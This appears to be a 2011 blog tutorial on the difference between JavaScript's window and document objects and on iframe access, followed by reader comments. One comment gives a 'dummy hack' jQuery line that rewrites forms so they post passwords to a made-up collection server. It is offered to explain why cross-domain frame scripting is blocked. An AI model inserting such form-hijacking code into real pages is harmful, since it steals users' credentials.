JQuery
What is the difference between document and window objects?
TAGs: document objectiframeJavascriptwindow object 16 Comment
January 4, 2011 in JQuery
There seems to be a lot of misconceptions on the difference between the document and window objects for javascript.
WINDOW object and DOCUMENT object ARE NOT THE SAME!!!!!
I have set out to clarify this for you in the most visual manor as possible.
So, what is the difference between the document object and window object you ask? Good question.
Javascript Window Object with Document Loaded
Well, the window is the first thing that gets loaded into the browser. This window object has the majority of the properties like length, innerWidth, innerHeight, name, if it has been closed, its parents, and more.
What about the document object then?
The document object is your html, aspx, php, or other document that will be loaded into the browser. The document actually gets loaded inside the window object and has properties available to it like title, URL, cookie, etc. What does this really mean? That means if you want to access a property for the window it is window.property, if it is document it is window.document.property which is also available in short as document.property.
That seems simple enough. But what happens once an IFRAME is introduced? Uh oh… frameage.
An iframe actually is considered as a new window with its own document loaded into it. Here is where it may seem a little odd, but does make sense if you think about it. The original, parent window, is responsible for other windows to be loaded, not the document.
Javascript Window Object with Iframe
The property to access a frame is window.frames[], which is an array of all the frames. If you only have one iframe you access it by using window.frames[0]. Since the iframe is also a window object, accessing window properties of that frame is done by using window.frames[0].mywindowproperty.
Here is a link to the list of properties:
This was just a quick clarification on how the window and document objects are used. When there is an understanding of it then programming becomes a little easier.
Thanks for reading!
16 Responses to "What is the difference between document and window objects?"
Leave a Reply
SUBSCRIBE TO NEWSLETTER
Learn the foundation of the DHTMLX Suite quickly while building a single page application with multiple components in harmony.
Popular post
-
HTML Table Style Generator
August 16, 2011
How often do you work with tables? I work with them quite a bit and styling t read more...
-
JQuery - Star Comment Rating
September 1, 2009
UPDATE!! A plugin is now available for this tutorial that includes more features read more...
-
JQuery - Run script if!
November 24, 2009
When running a site with a boat load of javascript, you may want to run a script read more...
-
What is the difference between document and window objects?
January 4, 2011
There seems to be a lot of misconceptions on the difference between the document read more...
-
Animated JQuery Bar Chart
December 3, 2010
Greetings All! Since everyone was digging the Star Comment Rating I decided that read more...
Hey man, would you happen to be the eli geske that was working on gametube.tv ages ago?It’s Xdax.
That helped me alot! i was trying to reach the iframes loaded. Thank youThanks you very much eligeske. This article is quite useful. Again thanksLittle note about the iframe that can save you lot of time. To access the interior of an iframe context / dom / javascript you need to use the contentWindow property.Example to call some javascript inside and iframe you can simply do:
$(‘#myframe’)[0].contentWindow.$(‘someSelector’).someAction();
Or without jQuery
document.getElementById(‘myframe’).contentWindow.alert(‘I am an alert in the iframe’);
——————————
On the other side if you are trying to run some javascript in the main window FROM the iframe, you can simply do :
parent.$(‘somemainWindowElement’).someAction();
**** ******
Please not that cross domain (from 1 domain to the other) frame scripting will not work in regular setup. REason is obvious: it would create a security hole and an easy way to hack with fishing techniques. Imagine the simple dummy hack scenario
// Set all the form to post their password to my server.
$(‘#fishnet’)[0].contentWindow.$(‘form’).each(function(){this.setAttributes(‘action’,'http://myserverthatcollectspassword.com/collect’);})
Ps. Dont try this, it will not work.
I LIKE EXPLANATION ON THE WINDOW AND DOCUMENT OBJECT IN ELEGANT WAY BY TAKING THE EXAMPLEExcellent explanation. Kudos. Helped a lot.Thank you ,…… It helped me in understanding the difference between Window and document objects……this is very good example thank you very muchHelped a lot. ThaksThank you so much for the information. Got a question in interview but cud not answer there.. now i am clear about the topic.Hi,This makes me to clear my concept about document & window.
Thank you very much.
that really helped,,,,,,thank youSuperb…Thanks.
Excellent explanation. Thanks a lot.One more thing I would like to ask you is, can we get iframe object inside from iFrame. It is as good as accessing parent property from child. I know it is bit weird, but just wanted to know whether this is possible?
Hi Nishant,If I understand you correctly, you would like to access the iframe’s window or document object from inside itself. For example if you loaded a url into the iframe that had some script in it.
The iframe acts as if it were a stand alone window and can access itself’s properties as such.
If you mean that you would like to get the iframe object from the iframe itself, you can try this little example from inside the iframe:
$(function(){
$(window.parent.frames[0].document).find('body').html('hello');
});
Pingback: Paul Irish – Things I learned from jQuery source | quizzicol